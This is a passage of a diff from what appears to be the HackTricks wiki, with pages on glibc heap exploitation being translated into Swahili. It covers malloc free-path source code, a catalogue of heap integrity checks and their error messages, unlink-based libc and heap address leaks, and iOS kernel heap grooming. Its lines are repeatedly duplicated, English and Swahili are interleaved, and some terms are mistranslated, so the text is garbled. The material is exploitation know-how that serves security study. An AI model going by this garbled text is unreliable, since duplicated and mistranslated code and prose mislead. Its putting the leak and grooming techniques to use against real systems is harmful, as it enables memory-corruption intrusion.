if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
p->fd = PROTECT_PTR (&p->fd, old);
*fb = p;
}
else
do
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
old2 = old;
p->fd = PROTECT_PTR (&p->fd, old);
}
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
!= old2);
if (SINGLE_THREAD_P)
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
p->fd = PROTECT_PTR (&p->fd, old);
*fb = p;
}
else
do
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
old2 = old;
p->fd = PROTECT_PTR (&p->fd, old);
}
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
!= old2);
/* Check that size of fastbin chunk at the top is the same as
size of the chunk that we are adding. We can dereference OLD
only if we have the lock, otherwise it might have already been
allocated again. */
if (have_lock && old != NULL
&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
malloc_printerr ("invalid fastbin entry (free)");
}
/* Check that size of fastbin chunk at the top is the same as
size of the chunk that we are adding. We can dereference OLD
only if we have the lock, otherwise it might have already been
allocated again. */
if (have_lock && old != NULL
&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
malloc_printerr ("invalid fastbin entry (free)");
}
```
</details>
### \_int_free finale <a href="#int_free" id="int_free"></a>
If the chunk wasn't allocated yet on any bin, call `_int_free_merge_chunk`
Ikiwa kipande hakijapewa bado kwenye chochote, piga simu `_int_free_merge_chunk`
<details>
<summary>_int_free finale</summary>
```c
/*
Consolidate other non-mmapped chunks as they arrive.
*/
Consolidate other non-mmapped chunks as they arrive.
*/
else if (!chunk_is_mmapped(p)) {
else if (!chunk_is_mmapped(p)) {
/* If we're single-threaded, don't lock the arena. */
if (SINGLE_THREAD_P)
have_lock = true;
/* If we're single-threaded, don't lock the arena. */
if (SINGLE_THREAD_P)
have_lock = true;
if (!have_lock)
__libc_lock_lock (av->mutex);
if (!have_lock)
__libc_lock_lock (av->mutex);
_int_free_merge_chunk (av, p, size);
_int_free_merge_chunk (av, p, size);
if (!have_lock)
__libc_lock_unlock (av->mutex);
}
/*
If the chunk was allocated via mmap, release via munmap().
*/
if (!have_lock)
__libc_lock_unlock (av->mutex);
}
/*
If the chunk was allocated via mmap, release via munmap().
*/
else {
munmap_chunk (p);
}
else {
munmap_chunk (p);
}
}
```
</details>
## \_int_free_merge_chunk
This function will try to merge chunk P of SIZE bytes with its neighbours. Put the resulting chunk on the unsorted bin list.
Hii kazi itajaribu kuunganisha kipande P cha SIZE bytes na majirani zake. Weka kipande kilichopatikana kwenye orodha ya unsorted bin.
Some checks are performed:
Majaribio fulani yanafanywa:
- If the chunk is the top chunk: `double free or corruption (top)`
- If the next chunk is outside of the boundaries of the arena: `double free or corruption (out)`
- If the chunk is not marked as used (in the `prev_inuse` from the following chunk): `double free or corruption (!prev)`
- If the next chunk has a too little size or too big: `free(): invalid next size (normal)`
- if the previous chunk is not in use, it will try to consolidate. But, if the prev_size differs from the size indicated in the previous chunk: `corrupted size vs. prev_size while consolidating`
- Ikiwa kipande ni kipande cha juu: `double free or corruption (top)`
- Ikiwa kipande kinachofuata kiko nje ya mipaka ya arena: `double free or corruption (out)`
- Ikiwa kipande hakijapangwa kama kinatumika (katika `prev_inuse` kutoka kipande kinachofuata): `double free or corruption (!prev)`
- Ikiwa kipande kinachofuata kina ukubwa mdogo sana au mkubwa sana: `free(): invalid next size (normal)`
- ikiwa kipande cha awali hakitumiki, kitajaribu kuunganisha. Lakini, ikiwa prev_size inatofautiana na ukubwa ulioonyeshwa katika kipande cha awali: `corrupted size vs. prev_size while consolidating`
<details>
<summary>_int_free_merge_chunk code</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4660C1-L4702C2
/* Try to merge chunk P of SIZE bytes with its neighbors. Put the
resulting chunk on the appropriate bin list. P must not be on a
bin list yet, and it can be in use. */
resulting chunk on the appropriate bin list. P must not be on a
bin list yet, and it can be in use. */
static void
_int_free_merge_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T size)
{
mchunkptr nextchunk = chunk_at_offset(p, size);
mchunkptr nextchunk = chunk_at_offset(p, size);
/* Lightweight tests: check whether the block is already the
top block. */
if (__glibc_unlikely (p == av->top))
malloc_printerr ("double free or corruption (top)");
/* Or whether the next chunk is beyond the boundaries of the arena. */
if (__builtin_expect (contiguous (av)
&& (char *) nextchunk
>= ((char *) av->top + chunksize(av->top)), 0))
malloc_printerr ("double free or corruption (out)");
/* Or whether the block is actually not marked used. */
if (__glibc_unlikely (!prev_inuse(nextchunk)))
malloc_printerr ("double free or corruption (!prev)");
/* Lightweight tests: check whether the block is already the
top block. */
if (__glibc_unlikely (p == av->top))
malloc_printerr ("double free or corruption (top)");
/* Or whether the next chunk is beyond the boundaries of the arena. */
if (__builtin_expect (contiguous (av)
&& (char *) nextchunk
>= ((char *) av->top + chunksize(av->top)), 0))
malloc_printerr ("double free or corruption (out)");
/* Or whether the block is actually not marked used. */
if (__glibc_unlikely (!prev_inuse(nextchunk)))
malloc_printerr ("double free or corruption (!prev)");
INTERNAL_SIZE_T nextsize = chunksize(nextchunk);
if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0)
|| __builtin_expect (nextsize >= av->system_mem, 0))
malloc_printerr ("free(): invalid next size (normal)");
INTERNAL_SIZE_T nextsize = chunksize(nextchunk);
if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0)
|| __builtin_expect (nextsize >= av->system_mem, 0))
malloc_printerr ("free(): invalid next size (normal)");
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
/* Consolidate backward. */
if (!prev_inuse(p))
{
INTERNAL_SIZE_T prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
/* Consolidate backward. */
if (!prev_inuse(p))
{
INTERNAL_SIZE_T prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
/* Write the chunk header, maybe after merging with the following chunk. */
size = _int_free_create_chunk (av, p, size, nextchunk, nextsize);
_int_free_maybe_consolidate (av, size);
/* Write the chunk header, maybe after merging with the following chunk. */
size = _int_free_create_chunk (av, p, size, nextchunk, nextsize);
_int_free_maybe_consolidate (av, size);
}
```
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,160 +4,160 @@
## unlink
For more info check:
Kwa maelezo zaidi angalia:
{{#ref}}
unlink.md
{{#endref}}
This is a summary of the performed checks:
Hii ni muhtasari wa ukaguzi uliofanywa:
- Check if the indicated size of the chunk is the same as the `prev_size` indicated in the next chunk
- Error message: `corrupted size vs. prev_size`
- Check also that `P->fd->bk == P` and `P->bk->fw == P`
- Error message: `corrupted double-linked list`
- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P`
- Error message: `corrupted double-linked list (not small)`
- Angalia kama ukubwa ulioonyeshwa wa kipande ni sawa na `prev_size` iliyoonyeshwa katika kipande kinachofuata
- Ujumbe wa kosa: `corrupted size vs. prev_size`
- Angalia pia kwamba `P->fd->bk == P` na `P->bk->fw == P`
- Ujumbe wa kosa: `corrupted double-linked list`
- Ikiwa kipande si kidogo, angalia kwamba `P->fd_nextsize->bk_nextsize == P` na `P->bk_nextsize->fd_nextsize == P`
- Ujumbe wa kosa: `corrupted double-linked list (not small)`
## \_int_malloc
For more info check:
Kwa maelezo zaidi angalia:
{{#ref}}
malloc-and-sysmalloc.md
{{#endref}}
- **Checks during fast bin search:**
- If the chunk is misaligned:
- Error message: `malloc(): unaligned fastbin chunk detected 2`
- If the forward chunk is misaligned:
- Error message: `malloc(): unaligned fastbin chunk detected`
- If the returned chunk has a size that isn't correct because of it's index in the fast bin:
- Error message: `malloc(): memory corruption (fast)`
- If any chunk used to fill the tcache is misaligned:
- Error message: `malloc(): unaligned fastbin chunk detected 3`
- **Checks during small bin search:**
- If `victim->bk->fd != victim`:
- Error message: `malloc(): smallbin double linked list corrupted`
- **Checks during consolidate** performed for each fast bin chunk:&#x20;
- If the chunk is unaligned trigger:
- Error message: `malloc_consolidate(): unaligned fastbin chunk detected`
- If the chunk has a different size that the one it should because of the index it's in:
- Error message: `malloc_consolidate(): invalid chunk size`
- If the previous chunk is not in use and the previous chunk has a size different of the one indicated by prev_chunk:
- Error message: `corrupted size vs. prev_size in fastbins`
- **Checks during unsorted bin search**:
- If the chunk size is weird (too small or too big):&#x20;
- Error message: `malloc(): invalid size (unsorted)`
- If the next chunk size is weird (too small or too big):
- Error message: `malloc(): invalid next size (unsorted)`
- If the previous size indicated by the next chunk differs from the size of the chunk:
- Error message: `malloc(): mismatching next->prev_size (unsorted)`
- If not `victim->bck->fd == victim` or not `victim->fd == av (arena)`:
- Error message: `malloc(): unsorted double linked list corrupted`
- As we are always checking the las one, it's fd should be pointing always to the arena struct.
- If the next chunk isn't indicating that the previous is in use:
- Error message: `malloc(): invalid next->prev_inuse (unsorted)`
- If `fwd->bk_nextsize->fd_nextsize != fwd`:
- Error message: `malloc(): largebin double linked list corrupted (nextsize)`
- If `fwd->bk->fd != fwd`:
- Error message: `malloc(): largebin double linked list corrupted (bk)`
- **Checks during large bin (by index) search:**
- `bck->fd-> bk != bck`:
- Error message: `malloc(): corrupted unsorted chunks`
- **Checks during large bin (next bigger) search:**
- `bck->fd-> bk != bck`:
- Error message: `malloc(): corrupted unsorted chunks2`
- **Checks during Top chunk use:**
- `chunksize(av->top) > av->system_mem`:
- Error message: `malloc(): corrupted top size`
- **Ukaguzi wakati wa kutafuta fast bin:**
- Ikiwa kipande hakiko sawa:
- Ujumbe wa kosa: `malloc(): unaligned fastbin chunk detected 2`
- Ikiwa kipande cha mbele hakiko sawa:
- Ujumbe wa kosa: `malloc(): unaligned fastbin chunk detected`
- Ikiwa kipande kilichorejeshwa kina ukubwa usio sahihi kwa sababu ya index yake katika fast bin:
- Ujumbe wa kosa: `malloc(): memory corruption (fast)`
- Ikiwa kipande chochote kilichotumika kujaza tcache hakiko sawa:
- Ujumbe wa kosa: `malloc(): unaligned fastbin chunk detected 3`
- **Ukaguzi wakati wa kutafuta small bin:**
- Ikiwa `victim->bk->fd != victim`:
- Ujumbe wa kosa: `malloc(): smallbin double linked list corrupted`
- **Ukaguzi wakati wa kuunganishwa** unafanywa kwa kila kipande cha fast bin:&#x20;
- Ikiwa kipande hakiko sawa trigger:
- Ujumbe wa kosa: `malloc_consolidate(): unaligned fastbin chunk detected`
- Ikiwa kipande kina ukubwa tofauti na kile ambacho kinapaswa kwa sababu ya index kilichomo:
- Ujumbe wa kosa: `malloc_consolidate(): invalid chunk size`
- Ikiwa kipande cha awali hakitumiki na kipande cha awali kina ukubwa tofauti na ule ulioonyeshwa na prev_chunk:
- Ujumbe wa kosa: `corrupted size vs. prev_size in fastbins`
- **Ukaguzi wakati wa kutafuta unsorted bin**:
- Ikiwa ukubwa wa kipande ni wa ajabu (mdogo sana au mkubwa sana):&#x20;
- Ujumbe wa kosa: `malloc(): invalid size (unsorted)`
- Ikiwa ukubwa wa kipande kinachofuata ni wa ajabu (mdogo sana au mkubwa sana):
- Ujumbe wa kosa: `malloc(): invalid next size (unsorted)`
- Ikiwa ukubwa wa awali ulioonyeshwa na kipande kinachofuata unatofautiana na ukubwa wa kipande:
- Ujumbe wa kosa: `malloc(): mismatching next->prev_size (unsorted)`
- Ikiwa si `victim->bck->fd == victim` au si `victim->fd == av (arena)`:
- Ujumbe wa kosa: `malloc(): unsorted double linked list corrupted`
- Kwa kuwa kila wakati tunakagua la mwisho, fd yake inapaswa kuelekeza kila wakati kwenye muundo wa arena.
- Ikiwa kipande kinachofuata hakionyeshi kwamba cha awali kinatumika:
- Ujumbe wa kosa: `malloc(): invalid next->prev_inuse (unsorted)`
- Ikiwa `fwd->bk_nextsize->fd_nextsize != fwd`:
- Ujumbe wa kosa: `malloc(): largebin double linked list corrupted (nextsize)`
- Ikiwa `fwd->bk->fd != fwd`:
- Ujumbe wa kosa: `malloc(): largebin double linked list corrupted (bk)`
- **Ukaguzi wakati wa kutafuta large bin (kwa index):**
- `bck->fd-> bk != bck`:
- Ujumbe wa kosa: `malloc(): corrupted unsorted chunks`
- **Ukaguzi wakati wa kutafuta large bin (next bigger):**
- `bck->fd-> bk != bck`:
- Ujumbe wa kosa: `malloc(): corrupted unsorted chunks2`
- **Ukaguzi wakati wa matumizi ya Top chunk:**
- `chunksize(av->top) > av->system_mem`:
- Ujumbe wa kosa: `malloc(): corrupted top size`
## `tcache_get_n`
- **Checks in `tcache_get_n`:**
- If chunk is misaligned:
- Error message: `malloc(): unaligned tcache chunk detected`
- **Ukaguzi katika `tcache_get_n`:**
- Ikiwa kipande hakiko sawa:
- Ujumbe wa kosa: `malloc(): unaligned tcache chunk detected`
## `tcache_thread_shutdown`
- **Checks in `tcache_thread_shutdown`:**
- If chunk is misaligned:
- Error message: `tcache_thread_shutdown(): unaligned tcache chunk detected`
- **Ukaguzi katika `tcache_thread_shutdown`:**
- Ikiwa kipande hakiko sawa:
- Ujumbe wa kosa: `tcache_thread_shutdown(): unaligned tcache chunk detected`
## `__libc_realloc`
- **Checks in `__libc_realloc`:**
- If old pointer is misaligned or the size was incorrect:
- Error message: `realloc(): invalid pointer`
- **Ukaguzi katika `__libc_realloc`:**
- Ikiwa pointer ya zamani haiko sawa au ukubwa ulikuwa sio sahihi:
- Ujumbe wa kosa: `realloc(): invalid pointer`
## `_int_free`
For more info check:
Kwa maelezo zaidi angalia:
{{#ref}}
free.md
{{#endref}}
- **Checks during the start of `_int_free`:**
- Pointer is aligned:
- Error message: `free(): invalid pointer`
- Size larger than `MINSIZE` and size also aligned:
- Error message: `free(): invalid size`
- **Checks in `_int_free` tcache:**
- If there are more entries than `mp_.tcache_count`:
- Error message: `free(): too many chunks detected in tcache`
- If the entry is not aligned:
- Error message: `free(): unaligned chunk detected in tcache 2`
- If the freed chunk was already freed and is present as chunk in the tcache:
- Error message: `free(): double free detected in tcache 2`
- **Checks in `_int_free` fast bin:**
- If the size of the chunk is invalid (too big or small) trigger:
- Error message: `free(): invalid next size (fast)`
- If the added chunk was already the top of the fast bin:
- Error message: `double free or corruption (fasttop)`
- If the size of the chunk at the top has a different size of the chunk we are adding:
- Error message: `invalid fastbin entry (free)`
- **Ukaguzi wakati wa mwanzo wa `_int_free`:**
- Pointer imepangwa:
- Ujumbe wa kosa: `free(): invalid pointer`
- Ukubwa mkubwa kuliko `MINSIZE` na ukubwa pia umepangwa:
- Ujumbe wa kosa: `free(): invalid size`
- **Ukaguzi katika `_int_free` tcache:**
- Ikiwa kuna entries zaidi ya `mp_.tcache_count`:
- Ujumbe wa kosa: `free(): too many chunks detected in tcache`
- Ikiwa entry haiko sawa:
- Ujumbe wa kosa: `free(): unaligned chunk detected in tcache 2`
- Ikiwa kipande kilichofutwa tayari kilikuwa kimefutwa na kiko kama kipande katika tcache:
- Ujumbe wa kosa: `free(): double free detected in tcache 2`
- **Ukaguzi katika `_int_free` fast bin:**
- Ikiwa ukubwa wa kipande sio sahihi (mkubwa sana au mdogo sana) trigger:
- Ujumbe wa kosa: `free(): invalid next size (fast)`
- Ikiwa kipande kilichoongezwa tayari kilikuwa juu ya fast bin:
- Ujumbe wa kosa: `double free or corruption (fasttop)`
- Ikiwa ukubwa wa kipande kilichoko juu una ukubwa tofauti na kipande tunachoongeza:
- Ujumbe wa kosa: `invalid fastbin entry (free)`
## **`_int_free_merge_chunk`**
- **Checks in `_int_free_merge_chunk`:**
- If the chunk is the top chunk:
- Error message: `double free or corruption (top)`
- If the next chunk is outside of the boundaries of the arena:
- Error message: `double free or corruption (out)`
- If the chunk is not marked as used (in the prev_inuse from the following chunk):
- Error message: `double free or corruption (!prev)`
- If the next chunk has a too little size or too big:
- Error message: `free(): invalid next size (normal)`
- If the previous chunk is not in use, it will try to consolidate. But, if the `prev_size` differs from the size indicated in the previous chunk:
- Error message: `corrupted size vs. prev_size while consolidating`
- **Ukaguzi katika `_int_free_merge_chunk`:**
- Ikiwa kipande ni kipande cha juu:
- Ujumbe wa kosa: `double free or corruption (top)`
- Ikiwa kipande kinachofuata kiko nje ya mipaka ya arena:
- Ujumbe wa kosa: `double free or corruption (out)`
- Ikiwa kipande hakijapangwa kama kinatumika (katika prev_inuse kutoka kipande kinachofuata):
- Ujumbe wa kosa: `double free or corruption (!prev)`
- Ikiwa kipande kinachofuata kina ukubwa mdogo sana au mkubwa sana:
- Ujumbe wa kosa: `free(): invalid next size (normal)`
- Ikiwa kipande cha awali hakitumiki, kitajaribu kuunganishwa. Lakini, ikiwa `prev_size` inatofautiana na ukubwa ulioonyeshwa katika kipande cha awali:
- Ujumbe wa kosa: `corrupted size vs. prev_size while consolidating`
## **`_int_free_create_chunk`**
- **Checks in `_int_free_create_chunk`:**
- Adding a chunk into the unsorted bin, check if `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`:
- Error message: `free(): corrupted unsorted chunks`
- **Ukaguzi katika `_int_free_create_chunk`:**
- Kuongeza kipande katika unsorted bin, angalia ikiwa `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`:
- Ujumbe wa kosa: `free(): corrupted unsorted chunks`
## `do_check_malloc_state`
- **Checks in `do_check_malloc_state`:**
- If misaligned fast bin chunk:
- Error message: `do_check_malloc_state(): unaligned fastbin chunk detected`
- **Ukaguzi katika `do_check_malloc_state`:**
- Ikiwa fast bin chunk haiko sawa:
- Ujumbe wa kosa: `do_check_malloc_state(): unaligned fastbin chunk detected`
## `malloc_consolidate`
- **Checks in `malloc_consolidate`:**
- If misaligned fast bin chunk:
- Error message: `malloc_consolidate(): unaligned fastbin chunk detected`
- If incorrect fast bin chunk size:
- Error message: `malloc_consolidate(): invalid chunk size`
- **Ukaguzi katika `malloc_consolidate`:**
- Ikiwa fast bin chunk haiko sawa:
- Ujumbe wa kosa: `malloc_consolidate(): unaligned fastbin chunk detected`
- Ikiwa ukubwa wa fast bin chunk sio sahihi:
- Ujumbe wa kosa: `malloc_consolidate(): invalid chunk size`
## `_int_realloc`
- **Checks in `_int_realloc`:**
- Size is too big or too small:
- Error message: `realloc(): invalid old size`
- Size of the next chunk is too big or too small:
- Error message: `realloc(): invalid next size`
- **Ukaguzi katika `_int_realloc`:**
- Ukubwa ni mkubwa sana au mdogo sana:
- Ujumbe wa kosa: `realloc(): invalid old size`
- Ukubwa wa kipande kinachofuata ni mkubwa sana au mdogo sana:
- Ujumbe wa kosa: `realloc(): invalid next size`
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -3,7 +3,6 @@
{{#include ../../../banners/hacktricks-training.md}}
### Code
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -11,73 +10,72 @@
static void
unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
// Added: If the FD is not in the nextsize list
if (fd->fd_nextsize == NULL)
{
// Added: If the FD is not in the nextsize list
if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
// Link the nexsize list in when removing the new chunk
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
// Link the nexsize list in when removing the new chunk
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}
```
### Maelezo ya Picha
### Graphical Explanation
Check this great graphical explanation of the unlink process:
Angalia maelezo haya mazuri ya picha kuhusu mchakato wa unlink:
<figure><img src="../../../images/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
### Security Checks
### Ukaguzi wa Usalama
- Check if the indicated size of the chunk is the same as the prev_size indicated in the next chunk
- Check also that `P->fd->bk == P` and `P->bk->fw == P`
- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P`
- Angalia kama ukubwa ulioonyeshwa wa kipande ni sawa na prev_size iliyoonyeshwa katika kipande kinachofuata
- Angalia pia kwamba `P->fd->bk == P` na `P->bk->fw == P`
- Ikiwa kipande si kidogo, angalia kwamba `P->fd_nextsize->bk_nextsize == P` na `P->bk_nextsize->fd_nextsize == P`
### Leaks
### Mvuvi
An unlinked chunk is not cleaning the allocated addreses, so having access to rad it, it's possible to leak some interesting addresses:
Kipande ambacho hakijafutwa hakifuti anwani zilizotolewa, hivyo kuwa na ufikiaji wa rad, inawezekana kuvuja anwani za kuvutia:
Libc Leaks:
Mvuvi wa Libc:
- If P is located in the head of the doubly linked list, `bk` will be pointing to `malloc_state` in libc
- If P is located at the end of the doubly linked list, `fd` will be pointing to `malloc_state` in libc
- When the doubly linked list contains only one free chunk, P is in the doubly linked list, and both `fd` and `bk` can leak the address inside `malloc_state`.
- Ikiwa P iko katika kichwa cha orodha iliyo na viungo viwili, `bk` itakuwa ikielekeza kwa `malloc_state` katika libc
- Ikiwa P iko mwishoni mwa orodha iliyo na viungo viwili, `fd` itakuwa ikielekeza kwa `malloc_state` katika libc
- Wakati orodha iliyo na viungo viwili ina kipande kimoja tu cha bure, P iko katika orodha iliyo na viungo viwili, na `fd` na `bk` zote zinaweza kuvuja anwani ndani ya `malloc_state`.
Heap leaks:
Mvuvi wa Heap:
- If P is located in the head of the doubly linked list, `fd` will be pointing to an available chunk in the heap
- If P is located at the end of the doubly linked list, `bk` will be pointing to an available chunk in the heap
- If P is in the doubly linked list, both `fd` and `bk` will be pointing to an available chunk in the heap
- Ikiwa P iko katika kichwa cha orodha iliyo na viungo viwili, `fd` itakuwa ikielekeza kwa kipande kinachopatikana katika heap
- Ikiwa P iko mwishoni mwa orodha iliyo na viungo viwili, `bk` itakuwa ikielekeza kwa kipande kinachopatikana katika heap
- Ikiwa P iko katika orodha iliyo na viungo viwili, `fd` na `bk` zote zitakuwa zikielekeza kwa kipande kinachopatikana katika heap
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,47 +4,45 @@
## Basic Information
A heap overflow is like a [**stack overflow**](../stack-overflow/) but in the heap. Basically it means that some space was reserved in the heap to store some data and **stored data was bigger than the space reserved.**
Overflow ya heap ni kama [**stack overflow**](../stack-overflow/) lakini katika heap. Kimsingi inamaanisha kwamba nafasi fulani ilihifadhiwa katika heap kuhifadhi data fulani na **data iliyohifadhiwa ilikuwa kubwa kuliko nafasi iliyohifadhiwa.**
In stack overflows we know that some registers like the instruction pointer or the stack frame are going to be restored from the stack and it could be possible to abuse this. In case of heap overflows, there **isn't any sensitive information stored by default** in the heap chunk that can be overflowed. However, it could be sensitive information or pointers, so the **criticality** of this vulnerability **depends** on **which data could be overwritten** and how an attacker could abuse this.
Katika stack overflows tunajua kwamba baadhi ya register kama vile pointer ya maagizo au frame ya stack zitarejeshwa kutoka kwenye stack na inaweza kuwa na uwezekano wa kutumia hii. Katika kesi ya heap overflows, **hakuna taarifa nyeti iliyohifadhiwa kwa chaguo-msingi** katika kipande cha heap ambacho kinaweza kujaa. Hata hivyo, inaweza kuwa taarifa nyeti au pointers, hivyo **umuhimu** wa udhaifu huu **unategemea** **ni data ipi inaweza kuandikwa upya** na jinsi mshambuliaji anaweza kutumia hii.
> [!TIP]
> In order to find overflow offsets you can use the same patterns as in [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets).
> Ili kupata offsets za overflow unaweza kutumia mifumo ile ile kama katika [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets).
### Stack Overflows vs Heap Overflows
In stack overflows the arranging and data that is going to be present in the stack at the moment the vulnerability can be triggered is fairly reliable. This is because the stack is linear, always increasing in colliding memory, in **specific places of the program run the stack memory usually stores similar kind of data** and it has some specific structure with some pointers at the end of the stack part used by each function.
Katika stack overflows, mpangilio na data ambayo itakuwa katika stack wakati udhaifu unaweza kuchochewa ni wa kuaminika sana. Hii ni kwa sababu stack ni ya mstari, kila wakati ikiongezeka katika kumbukumbu inayopingana, katika **sehemu maalum za programu inayoendesha kumbukumbu ya stack kawaida huhifadhi aina sawa ya data** na ina muundo maalum na pointers kadhaa mwishoni mwa sehemu ya stack inayotumiwa na kila kazi.
However, in the case of a heap overflow, the used memory isnt linear but **allocated chunks are usually in separated positions of memory** (not one next to the other) because of **bins and zones** separating allocations by size and because **previous freed memory is used** before allocating new chunks. Its **complicated to know the object that is going to be colliding with the one vulnerable** to a heap overflow. So, when a heap overflow is found, its needed to find a **reliable way to make the desired object to be next in memory** from the one that can be overflowed.
Hata hivyo, katika kesi ya overflow ya heap, kumbukumbu inayotumika si ya mstari bali **vipande vilivyotengwa kawaida viko katika nafasi tofauti za kumbukumbu** (sio kando ya nyingine) kwa sababu ya **bins na maeneo** yanayotenganisha allocations kwa ukubwa na kwa sababu **kumbukumbu iliyotolewa awali inatumika** kabla ya kutenga vipande vipya. Ni **ngumu kujua kitu ambacho kitakuwa kinagongana na kile kilicho hatarini** kwa overflow ya heap. Hivyo, wakati overflow ya heap inapatikana, inahitajika kupata **njia ya kuaminika kufanya kitu kinachotakiwa kuwa karibu katika kumbukumbu** na kile kinachoweza kujaa.
One of the techniques used for this is **Heap Grooming** which is used for example [**in this post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). In the post its explained how when in iOS kernel when a zone run out of memory to store chunks of memory, it expands it by a kernel page, and this page is splitted into chunks of the expected sizes which would be used in order (until iOS version 9.2, then these chunks are used in a randomised way to difficult the exploitation of these attacks).
Moja ya mbinu zinazotumika kwa hili ni **Heap Grooming** ambayo inatumika kwa mfano [**katika chapisho hili**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). Katika chapisho inaelezwa jinsi wakati katika kernel ya iOS wakati eneo linapokosa kumbukumbu ya kuhifadhi vipande vya kumbukumbu, linaipanua kwa ukurasa wa kernel, na ukurasa huu unagawanywa katika vipande vya ukubwa unaotarajiwa ambavyo vitatumika kwa mpangilio (hadi toleo la iOS 9.2, kisha vipande hivi vinatumika kwa njia ya nasibu ili kuleta ugumu katika matumizi ya mashambulizi haya).
Therefore, in the previous post where a heap overflow is happening, in order to force the overflowed object to be colliding with a victim order, several **`kallocs` are forced by several threads to try to ensure that all the free chunks are filled and that a new page is created**.
Kwa hivyo, katika chapisho la awali ambapo overflow ya heap inatokea, ili kulazimisha kitu kilichojazwa kuwa kinagongana na agizo la mwathirika, **`kallocs` kadhaa zinapaswa kulazimishwa na nyuzi kadhaa ili kujaribu kuhakikisha kwamba vipande vyote vilivyotolewa vimejaa na kwamba ukurasa mpya unaundwa**.
In order to force this filling with objects of a specific size, the **out-of-line allocation associated with an iOS mach port** is an ideal candidate. By crafting the size of the message, its possible to exactly specify the size of `kalloc` allocation and when the corresponding mach port is destroyed, the corresponding allocation will be immediately released back to `kfree`.
Ili kulazimisha kujaza hili kwa vitu vya ukubwa maalum, **allocation ya nje ya mstari inayohusishwa na mach port ya iOS** ni mgombea bora. Kwa kubuni ukubwa wa ujumbe, inawezekana kubaini kwa usahihi ukubwa wa `kalloc` allocation na wakati mach port inayohusiana inaharibiwa, allocation inayohusiana itarejeshwa mara moja kwa `kfree`.
Then, some of these placeholders can be **freed**. The **`kalloc.4096` free list releases elements in a last-in-first-out order**, which basically means that if some place holders are freed and the exploit try lo allocate several victim objects while trying to allocate the object vulnerable to overflow, its probable that this object will be followed by a victim object.
